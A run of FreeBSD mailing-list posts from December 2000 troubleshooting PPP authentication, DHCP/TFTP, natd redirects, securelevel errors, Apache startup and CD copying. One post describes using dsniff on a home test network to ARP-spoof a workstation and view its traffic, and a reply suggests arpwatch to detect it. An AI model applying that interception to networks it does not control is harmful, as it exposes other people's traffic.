> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  AUTHPROTO[4] 0xc023 (PAP) 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  MAGICNUM[6] 0x810d14c4 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  PROTOCOMP[2] 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP:  ACFCOMP[2] 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: State change Ack-Rcvd --> Opened 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: LayerUp 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: Sending ident magic 36357960 text user-ppp 2.3 (built Dec 18 2000) 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: LCP: deflink: SendIdent(1) state = Opened 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: Phase: bundle: Authenticate 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: Phase: deflink: his = PAP, mine = none 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: Phase: Pap Output: patseal ******** 
> Dec 19 15:49:36 foobar ppp[50536]: tun0: Phase: Pap Input: FAILURE dropped (got id 0, not 1) 
> Dec 19 15:49:39 foobar ppp[50536]: tun0: Phase: Pap Output: patseal ******** 
> Dec 19 15:49:39 foobar ppp[50536]: tun0: Phase: Pap Input: FAILURE dropped (got id 0, not 2) 
> Dec 19 15:49:42 foobar ppp[50536]: tun0: Phase: Pap Output: patseal ******** 
> Dec 19 15:49:42 foobar ppp[50536]: tun0: Phase: Pap Input: FAILURE dropped (got id 0, not 3) 
> Dec 19 15:49:45 foobar ppp[50536]: tun0: Phase: Auth: No response from server 
> 
> And the second number of earthlink:
> [cut]
> Dec 19 15:50:16 foobar ppp[50617]: tun0: Command: earthlink: set phone 3016383240 
> Dec 19 15:50:16 foobar ppp[50617]: tun0: Command: earthlink: set authname patseal 
> Dec 19 15:50:16 foobar ppp[50617]: tun0: Command: earthlink: set authkey ******** 
> [cut]
> Dec 19 15:50:51 foobar ppp[50618]: tun0: LCP: FSM: Using "deflink" as a transport 
> Dec 19 15:50:51 foobar ppp[50618]: tun0: LCP: deflink: State change Initial --> Closed 
> Dec 19 15:50:51 foobar ppp[50618]: tun0: LCP: deflink: State change Closed --> Stopped 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: LayerStart 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: SendConfigReq(1) state = Stopped 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACFCOMP[2] 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  PROTOCOMP[2] 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACCMAP[6] 0x00000000 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRU[4] 1500 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MAGICNUM[6] 0x723c281c 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: State change Stopped --> Req-Sent 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: RecvConfigReq(1) state = Req-Sent 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  <0x0>[4] 0000 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRU[4] 1524 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACCMAP[6] 0x000a0000 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  AUTHPROTO[5] 0xc223 (CHAP 0x05) 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  PROTOCOMP[2] 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACFCOMP[2] 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRRU[4] 1524 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ENDDISC[9] MAC 00:c0:7b:8b:18:6d 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: SendConfigRej(1) state = Req-Sent 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  <0x0>[4] 0000 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRRU[4] 1524 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: Sending ident magic 723c281c text user-ppp 2.3 (built Dec 18 2000) 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: SendIdent(0) state = Req-Sent 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: RecvConfigAck(1) state = Req-Sent 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: State change Req-Sent --> Ack-Rcvd 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: RecvConfigReq(2) state = Ack-Rcvd 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRU[4] 1524 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACCMAP[6] 0x000a0000 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  AUTHPROTO[5] 0xc223 (CHAP 0x05) 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  PROTOCOMP[2] 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACFCOMP[2] 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ENDDISC[9] MAC 00:c0:7b:8b:18:6d 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: SendConfigAck(2) state = Ack-Rcvd 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  MRU[4] 1524 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACCMAP[6] 0x000a0000 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  AUTHPROTO[5] 0xc223 (CHAP 0x05) 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  PROTOCOMP[2] 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ACFCOMP[2] 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP:  ENDDISC[9] MAC 00:c0:7b:8b:18:6d 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: State change Ack-Rcvd --> Opened 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: LayerUp 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: Sending ident magic 723c281c text user-ppp 2.3 (built Dec 18 2000) 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: LCP: deflink: SendIdent(1) state = Opened 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: Phase: bundle: Authenticate 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: Phase: deflink: his = CHAP 0x05, mine = none 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: Phase: Chap Input: CHALLENGE (16 bytes from tnt4.waldorf) 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: Phase: Chap Output: RESPONSE (patseal) 
> Dec 19 15:50:53 foobar ppp[50618]: tun0: Phase: Chap Input: FAILURE 
> 
> 
> -- 
> ------------------------------------ _____________________________________
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* long <long@aset-tp.com.tw> [001219 19:30] wrote:
> Gentlemen and ladies:
>     Please allow me to introduce myself. I am Yu long Chang.
>     I am a s/w Engineer in Taiwan.The new user of FreeBSD System.
>     I had dowload 4.2-Release of FreeBSD from your web.
>     When I install it to my PC (destop).
>     I found it only to configuration for DHCP client.
>     But I need to set my PC as DHCP server and TFTP server.
>     Does 4.2-Release of FreeBSD include these two portions.
>     Where can I get or buy the related information ?
>     Thanks a lot !!

FreeBSD ships with a tftp daemon, see the tftpd manpage.

If you want to serve dhcp requests you'll need to install
the isc-dhcpd port, see /usr/ports/net/.

>     Have a good day !!

you too. :)

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* Jonathan Pennington <john@coastalgeology.org> [001219 19:21] wrote:
> Is there an easy way to generate a suite of patch files for a
> port. For instance, instead of doing a recursive diff on a directory
> and having a large patchfile with multiple files and the need for
> interaction, is there a way to recursivly diff two directories and
> attain different patch files for each file? That would make my current
> porting project easier. (this isn't on ports because it seemed like a
> more general question.)

I think you can use the 'split' command on the diff output?

btw, you should change the subject or start a new thread, the "yahoo"
thread was something I was just deleting at this point.

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Len Conrad <lconrad@Go2France.com> types:
> In 4.1.1-release
> A pkg doing a "make check" complains
> /usr/libexec/ld-elf.so.1: Shared object "libc.so.3" not found
> "where" do I find "what" to add?

The message is from ld-elf.so.1; it can't find libc.so.3, which is the
3.x compatability library.

The best solution is to get the 4.x version of the package, or build
from ports. If that's not possible, do a "make install" in
/usr/src/lib/compat/compat3x.i386 as root to install libc.so.3.


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Karel J. Bosschaart <karelj@wop21.wop.wtb.tue.nl> types:
> If you mean an 'image' copy: try dd with block size 2048. I think there's
> 'sdd' in the ports collection for CD's that have tricky copy protection
> causing dd to fail.

The description of sdd doesn't mention anything that would make those
work any better than standard dd does. With standard dd, just use
"conv=noerror" to deal with those.

Eyal Soha <esoha@cisco.com> types:
> All that only works with SCSI, right?  How about an all IDE solution?
> I was able to use sox and burncd to write wave files to the CD.  Can I
> do a cd-to-cd copy with an IDE drive?

Not on FreeBSD, not yet. For ripping audio tracks, see if /dev/MAKEDEV
handles "acd0t99" to create devices for raw access to tracks. If that
works, then you can use dd to read the tracks (with a different
strange block size).

For single-track cd-to-cd copy, try feeding the output of dd to burncd
with standard input as the data source.

	<mike


> Eyal
> 
> cam (Camille HUOT) writes:
> 
>  > On Mon, 18 Dec 2000 20:30:28 -0800
>  > Eyal Soha <esoha@cisco.com> wrote:
>  > 
>  > > I've seen a lot of people asking how to burn cds but no answers.  It
>  > > almost seems like no one knows how to burn a CD.  Regardless:
>  > > 
>  > > Is there a way to make a duplicate of a CD?  How?
>  > > 
>  > > What's the proper way to convert an mp3 into raw format for burning
>  > > a
>  > > cd, and then what burncd options should be used?
>  > > 
>  > > Eyal
>  > 
>  > to duplicate a cd you can use 'cdrdao' with the 'copy' command ...
>  > to burn a cd from files you have to use mkisofs with cdrecord
>  > to burn an audio cd from mp3 or wav files you have to use xmms/sox with cdrecord or cdrdao
>  > 
>  > but all theses things can be done with gtoaster
>  > 
>  > all of these are in /usr/ports/sysutils or /usr/ports/audio
>  > 
>  > bye
>  > cam
> 
> - -- 
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Mike Meyer <mwm@mired.org> types:
> Scott M. Lewandowski <sml_freebsd_questions@hotmail.com> types:
> > I am thinking of deploying qmail to take advantage of the Maildir format
> > that it offers. However, it seems like this will be very wasteful of space.
> > According to the newfs man page, the minimum disk block size is 4096 bytes.
> > Since Maildir stores each new mail message, as well as all archived mail
> > messages, as separate files, this means that each email will take up 4K of
> > disk space, even though my average mail message is only ~1K. Is this
> > correct, or am I missing something? Is there any way to use a smaller block
> > size on a new filesystem?
> You're missing fragments in the file system. Any partial blocks in a
> file are stored in fragments, not blocks, and fragments are shared
> amongst files. I always use the default (1k), but it can be as low as
> 512 bytes (with 4K blocks). Reread the newfs man page for details.

Just to clarify the "fragments are shared amongst files", I meant that
blocks that hold fragments can hold fragments from more than one
file. So with three files of sizes 24K + 828 bytes, 576 bytes, and
1812 bytes on a 4K/1K file system, you get a file with 6 blocks and a
fragment (828 bytes of 1K) and two files that are pure fragment; one
being one fragment (576 bytes of 1K) and one of two (1812 bytes of
2K). The fragments could all fit in one block, meaning your total disk
usage is 7 blocks (6 blocks for the first file, and one block for the
fragments of all the rest), not counting inodes, directory blocks,
etc.

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Pieckiel, Kevin A <pieckiel_ka@vdot.state.va.us> types:
> I installed FreeBSD 4.2 via FTP and used CVS to update, build, and install
> new binaries and a new (custom) kernel.  The machine has an Adaptec 3950B
> SCSI card, one 4 GB IDE hard drive (boot and system drive), and five 18.3 GB
> IBM SCSI drives (for data, hot-swappable).  This computer is to be our
> fileserver.  Whenever I try to do anything that writes to the SCSI drives
> (/dev/da{0-4}) I get "OPERATION NOT PERMITTED" as an error message.  I can
> read from the drive just fine using dd:
> 
> dd if=/dev/da0 of=junkfile bs=1024 count=1024
> 
> But if I try anything to write to the drive, it fails.  Any clue why?  I'd
> appreciate your help.

What does "sysctl kern.securelevel" say? If it's 2 or more, that's the
problem. See init(8) for details.

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Chuck Rock wrote:

>I believe most switches are Layer 2 which is MAC based. You would have to
>know the MAC address of the computer you want to intercept traffic for, and
>then your switch would have to give you the packets instead of erroring out
>and or dropping the packets because you can't have two of the same MAC
>addresses on the network.
>
>Has anyone actually gotten another's information spoofing MAC addresses?
>I don't see how this could work.

Play around with dsniff.  On my test network at home, with two
workstations (A and B) and a gateway router (C) on a 10/100 switch,
I've been able to convince A that B was its router, and view A's
traffic before sending it on to C.  A putters away, and never even
knows B is there.  It's kinda scary.

Far as I know, hard-coding an arp table is the only way to prevent
that sort of thing ... someone please correct me if I'm wrong?

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Wondering if anyone has any info on whether or not Flash Synthesizer version
0.99 (it's a C Library for writing flash movies) by Paul Haeberli/Silicon
Graphics will compile on FreeBSD 4.x, specifically 4.2-Stable? It will
compile on version 2.2.8. For more info, please see the following:

http://reality.sgi.com/grafica/flash/ 

Any help would be greatly appreciated.

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Debbie Machado <ldmservices@charter.net> types:
> This is a multi-part message in MIME format.

Please don't do this to the questions@freebsd.org list. Send plain
text instead.

> I noticed Yahoo has you listed as one of their business supporters. I
> stopped using Yahoo aggressively after I realized they support all religions
> except Christianity. Just try to find a Christmas card about Christ amongst
> all the other religious cards they freely give users access to on their main
> page for "Christmas".  Since Yahoo refuses to acknowledge Christmas as an
> American Religious Holiday, like the other ones they list, I figured this
> year I would sent out a Christmas card from their service to all my family,
> friends, business associates, clients, & online news media simply explaining
> what I've observed and how it makes me feel.  I also will list all the
> sponsors, advertisers, & partners as supporters.  You don't need to respond
> to me. YOU NEED TO REACT TO THEM.  In Him -Debbie

First, to answer the question - to my knowledge, FreeBSD doesn't
support Yahoo. Yahoo runs their business on FreeBSD software, but
that's not something we have much to say about - other than being
justifiably proud of providing the software foundation for one of the
busiest sites on the web.

As for your complaint about them - it seems to be false. On the
e-greetings page, I see a short list of religious holidays, including
Christmas (the Christian holiday of the season). Following that link,
I find a listing for "religious" Christmas cards, among others kinds
that people celebrating Christmas are liable to want. Following that
link, I find two pages or twenty-two cards of a noticeably Christian
nature.

Compare that to the link for Winter Solstice, which takes you to the
one and only card offered for that holiday. If I thought boycotting a
company for such reasons was rational behavior, I'd say my doing so
was more justified than your doing so.

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Help?

I'm trying to access a my postgres server (it's been functioning fine
since Postgres 6.2 or so) from the Applixware Office "Data"
application. Both support ODBC and document how to make this
connection, it's just that Postgres documents talking to Applixware
Office 4.4 while the Applixware Office documentation talks about
Postgres 6.5, and I have no tools for checking whether either end is
configured properly.

Configuration files known to work with those, or pointers to tools so
that I can check either end of the setup would be greatly appreciated.

	Thanx,
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On Tue, 19 Dec 2000, David Talkington wrote:

> Play around with dsniff.  On my test network at home, with two
> workstations (A and B) and a gateway router (C) on a 10/100 switch,
> I've been able to convince A that B was its router, and view A's
> traffic before sending it on to C.  A putters away, and never even
> knows B is there.  It's kinda scary.
>
> Far as I know, hard-coding an arp table is the only way to prevent
> that sort of thing ... someone please correct me if I'm wrong?
>
> -d

Out of curiosity, could you run arpwatch on one of the workstations
(preferrably D, not one of the involved) and see if it detects the arp
oddity?

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On Fri, Dec 22, 2000 at 04:05:59PM -0800, Mike Batchelor wrote:
> I am in windows right now, so I can't verify that the following filename is
> correct.  It is somethign like /etc/syslog and in there, you can comment out
> line 5 (messages that go to the console) and comment out the lines that go
> to 'root'.  Then reboot to make the changes.  Actually, does anyone know
> another way to make the changes without rebooting?

And you're answering questions? ;) "Thou shall not reboot for
configuration changes,"

  # kill -HUP `cat /var/run/syslog.pid`

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On Tue, Dec 19, 2000 at 04:41:22PM -0800, Peter Brezny wrote:
> I've just cvsuped the entire collection, 
> 
> built the world with
> 
> /usr/src/make buildworld
> 
> and on
> 
> /usr/src/make installworld i get
> 
> ===> lib/libcrypt
> install -c -o root -g wheel -m 444   libscrypt.a /usr/lib
> install -c -o root -g wheel -m 444   libscrypt_p.a /usr/lib
> install -c -s -o root -g wheel -m 444   -fschg  libscrypt.so.2 /usr/lib
> *** Error code 71
> 
> Any Ideas?

What's your securelevel(8)?
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On Tue, Dec 19, 2000 at 01:51:24PM -0800, Peter Brezny wrote:
> I'm reconfiguring a network into separate internal and external segments
> separated by a firewall.  However it's going to take me a little while to do
> it, and in order to keep things functioning until it's done, I'm gong to
> have to keep both the inside and outside nic's plugged into the same switch
> (which gives a lot of errors like this).
> 
> /kernel: arp: 10.10.1.70 is on rl0 but got reply from (mac) on fpx0
> 
> Is there a way that I can temporarely supress these errors from poping up on
> the console until i'm done with the config?

Here you go,

  # ifconfig rl0 down
  # ifconfig fxp0 alias <rl0's IP> netmask 255.255.255.255

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Greetings,
	I have been searching the site and the FAQ's for information on a 
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On Tue, Dec 19, 2000 at 05:01:01PM +0000, Karl Pielorz wrote:
> Hi All,
> 
> I know there are issues when moving an older 3.x system over to 4.2-STABLE (or
> newer) - generally from what I've read, I need to move the 3.x box, up to
> 4.0-RELEASE, then onto say 4.2-STABLE...

I am not sure if this is what you are saying, but the easiest thing to
do is do a binary install. To 4.x-RELEASE and then go to
-STABLE. Doesn't particularly matter which 4.x-RELEASE.

> Can I 'get round' this, by using an existing box - building 4.2-STABLE on it,
> and then tar'ing up /usr/src and /usr/obj, moving them to the 3.X box,
> un-tarring - and then doing a usual 'make installworld' etc. ?

No, that does not get around the catches. The problems, if there will
be any, tend to arise during the installworld and the steps after.
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On Tue, Dec 19, 2000 at 09:14:26AM -0600, Carl M. Gregory wrote:
> 
> -> 192.168.0.1 > fbsd.purehype.net: icmp: redirect fbsd.purehype.net to host fbsd.purehype.net
> --  fbsd.purehype.net.1295 > fbsd.purehype.net.smtp: S 2921579865:2921579865(0) win 16384 <mss 1460,nop,wscale 0,nop,nop,timestamp 18042912 0> (DF)
> 
> Why is it doing this?  I don't understand why it's redirecting to it's self... fbsd.purehype.net is setup in /etc/mail/local-host-names ...  I thought that may of been it but nope.  Anyone have any idea's why it would redirect to it's self?

The redirects don't really have anything to do with email. What does
your routing table look like?

  $ netstat -rn

You wouldn't happen to be running routed(8)? Turn it off.
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On Tue, Dec 19, 2000 at 01:38:14PM +0100, Thomas Uhrfelt wrote:
> I have an internal machine on the 192.168.10.10 adress which I want 
> accessable via telnet from the outside world.
> 
> My gateway is a FreeBSD box providing internet access for all the internal 
> machines (192.168.1.254) and o.p.q.z as the outside static IP.
                    ^
You use '192.168.10.10' below?

> My commandline start for natd:
> /sbin/natd -use_sockets yes -same_ports yes -u yes -dynamic yes -n ep0 
> -redirect_port tcp 192.168.10.10:23 8888 -redirect_port udp 
> 192.168.10.10:23 8888

Doesn't that give you an error?

  # /sbin/natd -use_sockets -same_ports -u -dynamic -n ep0 -redirect_port tcp 192.168.10.10:23 8888

Or better yet,

  # /sbin/natd -n ep0 -f /etc/natd.conf
  # cat /etc/natd.conf
  use_sockets
  same_ports
  dynamic
  unregistered_only
  redirect_port tcp 192.168.10.10:23 8888

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On Tue, Dec 19, 2000 at 10:13:10AM -0000, Dead Line wrote:
> Peace,
> im running FreeBSD 3.2-release.
> 
> Lemme start by the bnc question,
> i just downloaded the bnc-2.8.2.tgz and extract the file into
> my /home/bnc directry.
> 
> i ran the configration file ./bncsetup and did all the setup.
> when i want to run the ./bnc its giving me this..
> 
> /usr/libexec/ld-elf.so.1: Shared object "libc.so.4" not found
> 
> i would like to notice you that, when i installed my fBSD version
> i have installed the lib directry but there is no libc.so.4
> what i do ?

Looks like you tried to install a package built for FreeBSD 4.x.

> 
> Second,
> i have installed the SSH from the web, on my same box. 3.2-release
> and when i do make
> it gives me these errors.
> "/usr/share/mk/bsd.port.mk", line 2: Could not find 
> /usr/ports/Mk/bsd.port.mk
> "Makefile", line 26: Malformed conditional (${OSVERSION} < 400014)
> "Makefile", line 26: Need an operator
> "Makefile", line 28: if-less else
> "Makefile", line 28: Need an operator
> "Makefile", line 30: if-less endif
> "Makefile", line 30: Need an operator
> "Makefile", line 54: Malformed conditional (${OSVERSION} < 400014)
> "Makefile", line 54: Need an operator
> "Makefile", line 59: if-less endif
> "Makefile", line 59: Need an operator
> "/usr/share/mk/bsd.port.mk", line 2: Could not find 
> /usr/ports/Mk/bsd.port.mk
> make: fatal errors encountered -- cannot continue
> =====
> 
> thats all,
> i didnot install the ports collection, i just install what i want.

You are trying to make a port without the ports installed. Install the
ports-base or get a package for 3.x.
-- 
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On Fri, 22 Dec 2000, Mike Batchelor wrote:

> Hey there
> 
> If you haven't done so recently, I would upgrade your /usr/ports directory
> with CVSUP..  All the documentation you could ever want is available from
> Freebsd.org.  This happened to me for BitchX one time.
> 
> Remember, keeping the /usr/ports is very imporant!

Thanks Mike, I will...
I think I forgot to start the linux_base emulation.

> 
> Mike
> 
> 
> ----- Original Message -----
> From: "Eduardo Viruena Silva" <mrspock@esfm.ipn.mx>
> To: <freebsd-questions@FreeBSD.ORG>
> Sent: Tuesday, December 19, 2000 11:31 AM
> Subject: Compiling jdk 1.2.2
> 
> 
> >
> > Hello pals!
> >
> > I'm trying to compile jdk 1.2.2 in my freebsd box.
> >
> > I have download all the packages and dependences:
> >
> > jdk1_2_2-src.tar.gz
> > freebsd-jdk122-patches-10.tar.gz
> > jdk-1.2.2-RC4-linux-i386-glibc-2.1.2.tar.bz2
> > openmotif-devel-2.1.30.4ML1.tgz
> > unixODBC-1.8.8.tar.gz
> > swing1_1_1.zip
> > linux_base-6.1.tgz
> > gmake-3.79.1
> > ... etc.
> >
> > and it seems to me that jkd-1.2.2-RC4-linux-i386-glibc-2.1.2.tar.bz2
> > cannot be recognized as a proper jdk, according to the next messages:
> >
> > Isabeau:/usr/ports/java/jdk12-beta# make
> > ===>  Extracting for jdk-1.2.2b10
> > >> No MD5 checksum file.
> > ===>   jdk-1.2.2b10 depends on executable: gm4 - found
> > ===>   jdk-1.2.2b10 depends on executable: zip - found
> > ===>   jdk-1.2.2b10 depends on file: /usr/local/jdk1.1.8/bin/javac - found
> > ===>   jdk-1.2.2b10 depends on file: /usr/local/linux-jdk1.2.2/bin/javac -
> found
> > ===>   jdk-1.2.2b10 depends on file: /usr/X11R6/lib/libMrm.a - found
> > ===>   jdk-1.2.2b10 depends on file: /nonexistent - found
> > ===>   jdk-1.2.2b10 depends on executable: gmake - found
> > ===>   jdk-1.2.2b10 depends on shared library: odbc.1 - found
> > ===>  Patching for jdk-1.2.2b10
> > ===>  Configuring for jdk-1.2.2b10
> > ===>  Building for jdk-1.2.2b10
> >
> > ERROR: Your ALT_BOOTDIR environment variable does not point
> >        to a valid JDK for bootstrapping this build.
> >        A JDK 1.2 or 1.2.x build must be bootstrapped against
> >        a 1.2-V (or later) build. Please update your ALT_BOOTDIR
> >        setting, or just unset it, and try again.
> >
> > gmake: *** [sanity] Error 1
> > *** Error code 2
> >
> > Stop in /usr/ports/java/jdk12-beta.
> > *** Error code 1
> >
> > Stop in /usr/ports/java/jdk12-beta.
> > *** Error code 1
> >
> > Stop in /usr/ports/java/jdk12-beta.
> >
> >
> > Do you know what I can do to get jdk1.2.2 working ?
> >
> > Thanks in advance!
> >
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On Tue, Dec 19, 2000 at 06:32:53PM -0800, Jeremiah Gowdy wrote:
> > You woldnt believe.  comes with the fact I live way out in the boonies.
> > Everytime the wind blows too hard power comes and goes....if its real bad
> it
> > can go down for hours/days.
> >
> > and I live in a state not really known for wind problems.  Just the long
> > haul power lines are stretched a long ways between poles and the wind can
> > invoke a safety mechanism that opens the curcuit in case power line if
> broke
> > under the stress.
> 
> I live in California.  We're almost always in a stage-3 power emergency
> anymore.  Since the power companies were deregulated here (not considered
> utilities anymore basically), they have shut down a bunch of plants for
> "maintenance" (really so they can jack up the prices).  Our power bill has
> gone up to double what it once was. 

That's really strange. A lot of the current shortage is due to the
fact that the power companies are legally not allowed to pass higher
costs to the consumers. A lot of out-of-state power producers will not
import to California because they can't get the market price and they
are afraid the power companies will not have the money to pay them
with rates capped like they are.
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"Debbie Machado" <ldmservices@charter.net> writes:

| I noticed Yahoo has you listed as one of their business supporters. I stopped
| using Yahoo aggressively after I realized they support all religions except
| Christianity. Just try to find a Christmas card about Christ amongst all the
| other religious cards they freely give users access to on their main page for
| "Christmas".  Since Yahoo refuses to acknowledge Christmas as an American
| Religious Holiday, like the other ones they list, I figured this year I would
| sent out a Christmas card from their service to all my family, friends,
| business associates, clients, & online news media simply explaining what I've
| observed and how it makes me feel.  I also will list all the sponsors,
| advertisers, & partners as supporters.  You don't need to respond to me. YOU
| NEED TO REACT TO THEM.  In Him -Debbie

Debbie, Debbie, Debbie.

First off, I don't speak for FreeBSD.  FreeBSD simply produces an operating
system---one good enough that Yahoo uses it.  You might just as well say that
Microsoft "supports" Yahoo because there are Windows machines at Yahoo.
Instead of doing anything useful, you did manage to email several thousand
volunteers who provide a free support service for FreeBSD users.  You didn't
impact Yahoo at all---instead, you did manage to annoy a bunch of people.

Second, as an American and a Christian, I find your expressed viewpoint acutely
embarrassing.  Perhaps you aren't aware that the United States has no official
religion.  Perhaps you believe it should.  Trust me when I say in either case
that such a naive view should embarrass you.  Yahoo has the right to do
whatever it wishes, and should not be forced (through pressure or legislation)
to cater to your particular wishes on a holiday season.  I trust that your
other efforts will be as effective and well-thought-out as your mailing the
FreeBSD questions list.

Third, I think you need to be worry about your own religious state foremost,
and not paying attention to Yahoo's.  You obviously need to read the Bible a
little more closely; I can think of several verses off the top of my head that
should have prompted some forethought on your part.  Unfortunately, you don't
seem to have read them.

Whatever the case, I wish you peace this holiday season.  But more to the
point, I wish you wouldn't rave about this on this particular mailing list
again.  Thanks.

							---Ken


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On a fresh 4.2-R system, ipfw configured but everything allowed for 
lo0.  The system is _not_ connected to the internet at this point.  I 
installed apache 1.3.14 from the ports collection.  The only thing I 
changed in httpd.conf was ServerName, setting it to "127.0.0.1" since this 
I'm just using this for local testing right 
now.  '/usr/local/sbin/apachectl start' results in the oh-so-useful 'httpd 
could not be started' message.  The syntax of the conf files checks out 
okay.  I looked at FreeBSD.layout in /usr/ports/www/apache13 and it looked 
reasonable, looked at httpd -V and it looked reasonable 
('HTTPD_ROOT="/usr/local"' and httpd is expected in 
"etc/apache/httpd.conf", which is where it is).  Apache's error log file 
says "... [alert] mod_unique_id: unable to 
getbyhostname("cerberus.seektruth.org")".  Obviously it wouldn't be able to 
do anything with my hostname since I'm not on the internet.  What is it 
trying to do and why?

I looked at the mailing list archives for this question because I think the 
same thing happened to me a year ago, the last time I tried to install 
apache.  Many people asked about this, few got replies.  I checked things 
the few replies mentioned: looked at the apachectl script, checked log 
paths, checked ServerName, checked located vs. expected location for the 
config files.  Nothing helped.

This system is out-of-the-box 4.2-R/apache 1.3.14 except for the fact that 
I have ipfw (halfway) configured.  However, everything is allowed for lo0, 
and ipfw shouldn't mess at all with just _starting_ apache.  Suggestions 
would be much appreciated.  I would very much like to move SeekTruth.org 
from my WinNT laptop to a dedicated FreeBSD server  :)

Please cc: to me, I'm not on -questions.


-David



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Hi,

I have a box which has 2 dial out modems for a small WAN and I want to add
1 dial-in line for a roaming user.

The system works perfectly with the dial-out lines, connecting to 2 other
3.3 RELEASE boxes.  However, the dial-in luser is using Win98 and despite
my best efforts, I cannot get it going.

It does not get past LCP negotiation it seems - see the trimmed ppp log at
the end - the HDLC guff really blows it out.

I can provide the HDLC and even physical traces as well if that helps.

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ppp.log
16:19:57  tun0: Command: incoming: enable chap
16:19:57  tun0: Command: incoming: deny chap
16:19:57  tun0: Command: incoming: disable pap
16:19:57  tun0: Command: incoming: deny pap
16:19:57  tun0: Command: incoming: enable dns
16:19:57  tun0: Command: incoming: set timeout 0
16:19:57  tun0: Command: incoming: set openmode passive
16:19:57  tun0: Command: incoming: set ifaddr 10.0.0.207/0 10.0.0.7/0
16:19:57  tun0: Command: incoming: set log physical CCP HDLC Phase Chat
LCP IPCP tun command arning alert
16:19:57  tun0: Phase: PPP Started (direct mode).
16:19:57  tun0: Phase: bundle: Establish
16:19:57  tun0: Phase: deflink: closed -> opening
16:19:57  tun0: Phase: deflink: Connected!
16:19:57  tun0: Phase: deflink: opening -> lcp
16:19:57  tun0: LCP: FSM: Using "deflink" as a transport
16:19:57  tun0: LCP: deflink: State change Initial --> Closed
16:19:57  tun0: LCP: deflink: State change Closed --> Stopped
16:20:00  tun0: LCP: deflink: RecvConfigReq(2) state = Stopped
16:20:00  tun0: LCP:  ACCMAP[6] 0x000a0000
16:20:00  tun0: LCP:  MAGICNUM[6] 0x00bd52d0
16:20:00  tun0: LCP:  PROTOCOMP[2]
16:20:00  tun0: LCP:  ACFCOMP[2]
16:20:00  tun0: LCP:  CALLBACK[3] CBCP
16:20:00  tun0: LCP: deflink: SendConfigReq(1) state = Stopped
16:20:00  tun0: LCP:  ACFCOMP[2]
16:20:00  tun0: LCP:  PROTOCOMP[2]
16:20:00  tun0: LCP:  ACCMAP[6] 0x00000000
16:20:00  tun0: LCP:  MRU[4] 1500
16:20:00  tun0: LCP:  MAGICNUM[6] 0x3cfa1cc7
16:20:00  tun0: LCP:  AUTHPROTO[5] 0xc223 (CHAP 0x05)
16:20:00  tun0: LCP: deflink: SendConfigRej(2) state = Stopped
16:20:00  tun0: LCP:  CALLBACK[3] CBCP
16:20:00  tun0: LCP: deflink: LayerStart
16:20:00  tun0: LCP: deflink: State change Stopped --> Req-Sent
16:20:02  tun0: LCP: deflink: SendConfigReq(1) state = Req-Sent
16:20:02  tun0: LCP:  ACFCOMP[2]
16:20:02  tun0: LCP:  PROTOCOMP[2]
16:20:02  tun0: LCP:  ACCMAP[6] 0x00000000
16:20:02  tun0: LCP:  MRU[4] 1500
